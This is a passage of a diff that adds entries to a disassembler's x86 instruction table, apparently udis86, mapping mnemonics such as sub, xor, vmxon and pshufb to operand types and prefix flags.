O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1364 */ { UD_Isetle, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1365 */ { UD_Isetg, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1366 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1367 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1368 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1369 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1370 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1371 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1372 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1373 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1374 */ { UD_Isgdt, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1375 */ { UD_Ishld, O_Ev, O_Gv, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1376 */ { UD_Ishld, O_Ev, O_Gv, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1377 */ { UD_Ishrd, O_Ev, O_Gv, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1378 */ { UD_Ishrd, O_Ev, O_Gv, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1379 */ { UD_Ishufpd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1380 */ { UD_Ivshufpd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1381 */ { UD_Ishufps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1382 */ { UD_Ivshufps, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1383 */ { UD_Isidt, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1384 */ { UD_Isldt, O_MwRv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1385 */ { UD_Ismsw, O_MwRv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1386 */ { UD_Ismsw, O_MwRv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1387 */ { UD_Isqrtps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1388 */ { UD_Ivsqrtps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1389 */ { UD_Isqrtpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1390 */ { UD_Ivsqrtpd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1391 */ { UD_Isqrtsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1392 */ { UD_Ivsqrtsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1393 */ { UD_Isqrtss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1394 */ { UD_Ivsqrtss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1395 */ { UD_Istc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1396 */ { UD_Istd, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1397 */ { UD_Istgi, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1398 */ { UD_Isti, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1399 */ { UD_Iskinit, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1400 */ { UD_Istmxcsr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1401 */ { UD_Ivstmxcsr, O_Md, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1402 */ { UD_Istosb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 1403 */ { UD_Istosw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 1404 */ { UD_Istosd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 1405 */ { UD_Istosq, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg|P_oso|P_rexw }, + /* 1406 */ { UD_Istr, O_MwRv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1407 */ { UD_Isub, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1408 */ { UD_Isub, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1409 */ { UD_Isub, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1410 */ { UD_Isub, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1411 */ { UD_Isub, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 1412 */ { UD_Isub, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 1413 */ { UD_Isub, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1414 */ { UD_Isub, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1415 */ { UD_Isub, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 1416 */ { UD_Isub, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1417 */ { UD_Isubpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1418 */ { UD_Ivsubpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1419 */ { UD_Isubps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1420 */ { UD_Ivsubps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1421 */ { UD_Isubsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1422 */ { UD_Ivsubsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1423 */ { UD_Isubss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1424 */ { UD_Ivsubss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1425 */ { UD_Iswapgs, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1426 */ { UD_Isyscall, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1427 */ { UD_Isysenter, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1428 */ { UD_Isysenter, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1429 */ { UD_Isysexit, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1430 */ { UD_Isysexit, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1431 */ { UD_Isysret, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1432 */ { UD_Itest, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1433 */ { UD_Itest, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1434 */ { UD_Itest, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1435 */ { UD_Itest, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 1436 */ { UD_Itest, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 1437 */ { UD_Itest, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1438 */ { UD_Itest, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1439 */ { UD_Itest, O_Ev, O_Iz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1440 */ { UD_Iucomisd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1441 */ { UD_Ivucomisd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1442 */ { UD_Iucomiss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1443 */ { UD_Ivucomiss, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1444 */ { UD_Iud2, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1445 */ { UD_Iunpckhpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1446 */ { UD_Ivunpckhpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1447 */ { UD_Iunpckhps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1448 */ { UD_Ivunpckhps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1449 */ { UD_Iunpcklps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1450 */ { UD_Ivunpcklps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1451 */ { UD_Iunpcklpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1452 */ { UD_Ivunpcklpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1453 */ { UD_Iverr, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1454 */ { UD_Iverw, O_Ew, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1455 */ { UD_Ivmcall, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1456 */ { UD_Irdrand, O_R, O_NONE, O_NONE, O_NONE, P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1457 */ { UD_Ivmclear, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1458 */ { UD_Ivmxon, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1459 */ { UD_Ivmptrld, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1460 */ { UD_Ivmptrst, O_Mq, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1461 */ { UD_Ivmlaunch, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1462 */ { UD_Ivmresume, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1463 */ { UD_Ivmxoff, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1464 */ { UD_Ivmread, O_Ey, O_Gy, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1465 */ { UD_Ivmwrite, O_Gy, O_Ey, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1466 */ { UD_Ivmrun, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1467 */ { UD_Ivmmcall, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1468 */ { UD_Ivmload, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1469 */ { UD_Ivmsave, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1470 */ { UD_Iwait, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1471 */ { UD_Iwbinvd, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1472 */ { UD_Iwrmsr, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1473 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* 1474 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1475 */ { UD_Ixchg, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1476 */ { UD_Ixchg, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1477 */ { UD_Ixchg, O_R0v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1478 */ { UD_Ixchg, O_R1v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1479 */ { UD_Ixchg, O_R2v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1480 */ { UD_Ixchg, O_R3v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1481 */ { UD_Ixchg, O_R4v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1482 */ { UD_Ixchg, O_R5v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1483 */ { UD_Ixchg, O_R6v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1484 */ { UD_Ixchg, O_R7v, O_rAX, O_NONE, O_NONE, P_oso|P_rexw|P_rexb }, + /* 1485 */ { UD_Ixgetbv, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1486 */ { UD_Ixlatb, O_NONE, O_NONE, O_NONE, O_NONE, P_rexw|P_seg }, + /* 1487 */ { UD_Ixor, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1488 */ { UD_Ixor, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1489 */ { UD_Ixor, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1490 */ { UD_Ixor, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1491 */ { UD_Ixor, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 1492 */ { UD_Ixor, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 1493 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1494 */ { UD_Ixor, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1495 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 1496 */ { UD_Ixor, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1497 */ { UD_Ixorpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1498 */ { UD_Ivxorpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1499 */ { UD_Ixorps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1500 */ { UD_Ivxorps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1501 */ { UD_Ixcryptecb, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1502 */ { UD_Ixcryptcbc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1503 */ { UD_Ixcryptctr, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1504 */ { UD_Ixcryptcfb, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1505 */ { UD_Ixcryptofb, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1506 */ { UD_Ixrstor, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1507 */ { UD_Ixsave, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1508 */ { UD_Ixsetbv, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1509 */ { UD_Ixsha1, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1510 */ { UD_Ixsha256, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1511 */ { UD_Ixstore, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1512 */ { UD_Ipclmulqdq, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1513 */ { UD_Ivpclmulqdq, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1514 */ { UD_Igetsec, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1515 */ { UD_Imovdqa, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1516 */ { UD_Ivmovdqa, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1517 */ { UD_Imovdqa, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1518 */ { UD_Ivmovdqa, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1519 */ { UD_Imaskmovdqu, O_V, O_U, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1520 */ { UD_Ivmaskmovdqu, O_Vx, O_Ux, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1521 */ { UD_Imovdq2q, O_P, O_U, O_NONE, O_NONE, P_aso|P_rexb }, + /* 1522 */ { UD_Imovdqu, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1523 */ { UD_Ivmovdqu, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1524 */ { UD_Imovdqu, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1525 */ { UD_Ivmovdqu, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1526 */ { UD_Imovq2dq, O_V, O_N, O_NONE, O_NONE, P_aso|P_rexr }, + /* 1527 */ { UD_Ipaddq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1528 */ { UD_Ipaddq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1529 */ { UD_Ivpaddq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1530 */ { UD_Ipsubq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1531 */ { UD_Ivpsubq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1532 */ { UD_Ipsubq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1533 */ { UD_Ipmuludq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1534 */ { UD_Ipmuludq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1535 */ { UD_Ipshufhw, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1536 */ { UD_Ivpshufhw, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1537 */ { UD_Ipshuflw, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1538 */ { UD_Ivpshuflw, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1539 */ { UD_Ipshufd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1540 */ { UD_Ivpshufd, O_Vx, O_Wx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1541 */ { UD_Ipslldq, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1542 */ { UD_Ivpslldq, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1543 */ { UD_Ipsrldq, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1544 */ { UD_Ivpsrldq, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1545 */ { UD_Ipunpckhqdq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1546 */ { UD_Ivpunpckhqdq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1547 */ { UD_Ipunpcklqdq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1548 */ { UD_Ivpunpcklqdq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1549 */ { UD_Ihaddpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1550 */ { UD_Ivhaddpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1551 */ { UD_Ihaddps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1552 */ { UD_Ivhaddps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1553 */ { UD_Ihsubpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1554 */ { UD_Ivhsubpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1555 */ { UD_Ihsubps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1556 */ { UD_Ivhsubps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1557 */ { UD_Iinsertps, O_V, O_Md, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1558 */ { UD_Ivinsertps, O_Vx, O_Hx, O_Md, O_Ib, P_aso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1559 */ { UD_Ilddqu, O_V, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1560 */ { UD_Ivlddqu, O_Vx, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1561 */ { UD_Imovddup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1562 */ { UD_Ivmovddup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1563 */ { UD_Imovddup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1564 */ { UD_Ivmovddup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1565 */ { UD_Imovshdup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1566 */ { UD_Ivmovshdup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1567 */ { UD_Imovshdup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1568 */ { UD_Ivmovshdup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1569 */ { UD_Imovsldup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1570 */ { UD_Ivmovsldup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1571 */ { UD_Imovsldup, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1572 */ { UD_Ivmovsldup, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1573 */ { UD_Ipabsb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1574 */ { UD_Ipabsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1575 */ { UD_Ivpabsb, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1576 */ { UD_Ipabsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1577 */ { UD_Ipabsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1578 */ { UD_Ivpabsw, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1579 */ { UD_Ipabsd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1580 */ { UD_Ipabsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1581 */ { UD_Ivpabsd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1582 */ { UD_Ipshufb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1583 */ { UD_Ipshufb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1584 */ { UD_Ivpshufb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1585 */ { UD_Iphaddw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1586 */ { UD_Iphaddw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1587 */ { UD_Ivphaddw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1588 */ { UD_Iphaddd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1589 */ { UD_Iphaddd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1590 */ { UD_Ivphaddd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1591 */ { UD_Iphaddsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1592 */ { UD_Iphaddsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1593 */ { UD_Ivphaddsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1594 */ { UD_Ipmaddubsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1595 */ { UD_Ipmaddubsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1596 */ { UD_Ivpmaddubsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1597 */ { UD_Iphsubw, 